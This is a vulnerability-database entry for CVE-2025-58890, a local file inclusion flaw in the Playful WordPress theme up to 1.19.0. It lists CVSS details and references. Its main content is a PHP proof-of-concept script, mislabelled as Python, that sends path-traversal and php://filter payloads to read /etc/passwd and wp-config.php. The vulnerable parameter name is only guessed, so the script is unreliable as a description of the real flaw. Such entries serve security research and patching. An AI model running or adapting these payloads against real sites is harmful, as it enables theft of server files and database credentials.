CVE-2025-58890

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Playful playful allows PHP Local File Inclusion.This issue affects Playful: from n/a through <= 1.19.0.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ancorathemes:playful:*:*:*:*:*:wordpress:*:* - VULNERABLE

Playful <= 1.19.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-58890 PoC - Playful Theme Local File Inclusion
 * Affected: AncoraThemes Playful <= 1.19.0
 * Type: Local File Inclusion (LFI)
 * CVSS: 8.1 (High)
 */

$target = 'http://target-site.com/'; // Target URL
$vulnerable_param = 'file'; // Common parameter name

// Read /etc/passwd
$payload1 = '../../../../etc/passwd';

// Read wp-config.php
$payload2 = '../../../../wp-config.php';

// Use PHP wrapper to read source
$payload3 = 'php://filter/read=convert.base64-encode/resource=../../../../wp-config.php';

echo "[*] CVE-2025-58890 PoC - Playful Theme LFI\n";
echo "[*] Target: $target\n\n";

foreach ([$payload1, $payload2, $payload3] as $payload) {
    $url = $target . '?' . $vulnerable_param . '=' . urlencode($payload);
    echo "[+] Testing: $url\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && !empty($response)) {
        echo "[+] SUCCESS - File content retrieved\n";
        echo "Response length: " . strlen($response) . " bytes\n\n";
    }
}

echo "[*] PoC completed. Check responses above for leaked content.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-58890
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-58890
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-58890/
[4] VulDB https://vuldb.com/cve/CVE-2025-58890
[5] https://patchstack.com/database/Wordpress/Theme/playful/vulnerability/wordpress-playful-theme-1-19-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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